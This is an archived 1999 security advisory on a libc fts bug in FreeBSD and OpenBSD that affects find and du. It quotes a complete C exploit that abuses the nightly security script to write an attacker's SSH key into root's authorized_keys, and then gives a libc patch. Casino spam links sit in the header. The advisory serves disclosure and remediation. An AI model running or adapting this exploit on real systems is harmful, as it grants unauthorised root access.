Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
2nd Sep 1999 [SBWID-151]
COMMAND
	    fts, du, find
SYSTEMS AFFECTED
	    FreeBSD 2.2.x, OpenBSD 3.1 (at least)
PROBLEM
	    Stas Kisel posted following.  Even FreeBSD-2.2.8 and FreeBSD-2.2.7
	    are no longer supported, there are many people still using 2.2 and
	    this  bug  probably  applies  to  FreeBSD-3.1  and ever to OpenBSD
	    and other.   Approximately a  month ago  he found  a very  strange
	    behaviour of 'du' with long direstory structures.  There is a  one
	    bug in  libc causing  this behaviour.   Both 'find'  and 'du'  use
	    'fts' (fts_read,...)  functions to  traverse directory  structure.
	    fts uses realloc()  to reallocate memory  in quite complex  lists.
	    There is  a bug  in adjusting  pointers after  realloc().  So when
	    dealing with large  directory structures (when  realloc() needed),
	    some pointers can point to free()-ed memory.
	    There's no exploit, but it  is beleived to be possible  to exploit
	    this  bug  using  carefully  designed  directory  tree  to execute
	    arbitrary commands as root during /etc/daily->/etc/security->find.
	    REMOTE ROOT EXPLOIT (POSSIBLE).   At least it is possible  to hide
	    setuid binary this way  in home dir or  in /tmp.  This  was tested
	    additionally on 3.1-STABLE.
	    Przemyslaw Frasunek posted following.  There's a bug in  fts_print
	    function  allows  to  overwrite  any  file in system, when running
	    /etc/security  script  (executed  from  'daily' scripts).  Exploit
	    follows:
	
	    /*
	     (c) 1999 babcia padlina ltd. <[email protected]>
	     affected systems:
	       - freebsd (all versions)
	       - probably openbsd/netbsd
	    */
	    #include <stdio.h>
	    #include <errno.h>
	    #include <sys/stat.h>
	    #include <strings.h>
	    #include <unistd.h>
	    #define STRING          "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
	    #define FILE            "/root/.ssh/authorized_keys"
	    #define CORE            "find.core"
	    #define DEPTH           300
	    #define BUFSIZE         250
	    int makedir(dir, linkfrom, linkto)
	    char *dir, *linkfrom, *linkto;
	    {
	            if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
	                    return -1;
	            if (chdir(dir))
	                    return -1;
	            if (symlink(linkfrom, linkto) < 0)
	                    return -1;
	            return 0;
	    }
	    int main(argc, argv)
	    int argc;
	    char **argv;
	    {
	            int i = 0;
	            char pid[10], buf[BUFSIZE];
	            sprintf(pid, "%d", getpid());
	            if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
	            {
	                    perror("mkdir()");
	                    return -1;
	            }
	            if (chdir(pid))
	            {
	                    perror("chdir()");
	                    return -1;
	            }
	            bzero(buf, BUFSIZE);
	            memset(buf, 0x41, BUFSIZE-1);
	            for(i=0;i<DEPTH;i++)
	            {
	                    if (makedir(STRING, FILE, CORE) < 0)
	                    {
	                            perror("makedir()");
	                            return -1;
	                    }
	                    if(makedir(buf, FILE, CORE) < 0)
	                    {
	                            perror("makedir()");
	                            return -1;
	                    }
	            }
	            return 0;
	    }
	
SOLUTION
	    The following  patch is  designed for  FreeBSD-2.2.8-RELEASE libc.
	    There was the following ID in the beginning of the source file.
	
		/*      $OpenBSD: fts.c,v 1.9 1997/08/02 00:13:49 millert Exp $ */
	
	    It  was  only  tested  on  one  machine  during  one day, so it is
	    probably buggy.
	
	    --- /usr/src/lib/libc/gen/fts.c.orig    Tue May 11 13:37:49 1999
	    +++ /usr/src/lib/libc/gen/fts.c Fri May 14 14:02:58 1999
	    @@ -740,8 +740,26 @@
		     * If had to realloc the path, adjust the addresses for the rest
		     * of the tree.
		     */
	    -       if (adjaddr)
	    +       if (adjaddr){
			    fts_padjust(sp, adjaddr);
	    +               /* Adjust the list, because we want to return it robust. */
	    +/* fix p->fts_path and p->fts_accpath
	    +   p->fts_accpath can be:
	    +       either cur->fts_path    (adjust, because cur is already adjusted)
	    +       either p->fts_path      (adjust)
	    +       either p->fts_name      (do not adjust)
	    +   I'm also almost sure that in first case cur->fts_path=p->fts_path...
	    +*/
	    +#define        ADJUST1(p) if((p)->fts_path != adjaddr){        \
	    +       if((p)->fts_accpath != (p)->fts_name){          \
	    +               (p)->fts_accpath =                      \
	    +                       (char *)adjaddr + ((p)->fts_accpath - (p)->fts_path);\
	    +       }                                               \
	    +       (p)->fts_path = adjaddr;                        \
	    +}
	    +               for (p = head; p; p = p->fts_link)
	    +                       ADJUST1(p);
	    +       }
		    /*
		     * If not changing directories, reset the path back to original
	    @@ -974,18 +992,20 @@
	     {
		    FTSENT *p;
	    -#define        ADJUST(p) {                                                     \
	    -       (p)->fts_accpath =                                              \
	    -           (char *)addr + ((p)->fts_accpath - (p)->fts_path);          \
	    +#define        ADJUST2(p) {                                                    \
	    +       if((p)->fts_accpath != (p)->fts_name){                          \
	    +               (p)->fts_accpath =                                      \
	    +                   (char *)addr + ((p)->fts_accpath - (p)->fts_path);  \
	    +       }                                                               \
		    (p)->fts_path = addr;                                           \
	     }
		    /* Adjust the current set of children. */
		    for (p = sp->fts_child; p; p = p->fts_link)
	    -               ADJUST(p);
	    +               ADJUST2(p);
		    /* Adjust the rest of the tree. */
		    for (p = sp->fts_cur; p->fts_level >= FTS_ROOTLEVEL;) {
	    -               ADJUST(p);
	    +               ADJUST2(p);
			    p = p->fts_link ? p->fts_link : p->fts_parent;
		    }
	     }
	
	

Internet highlights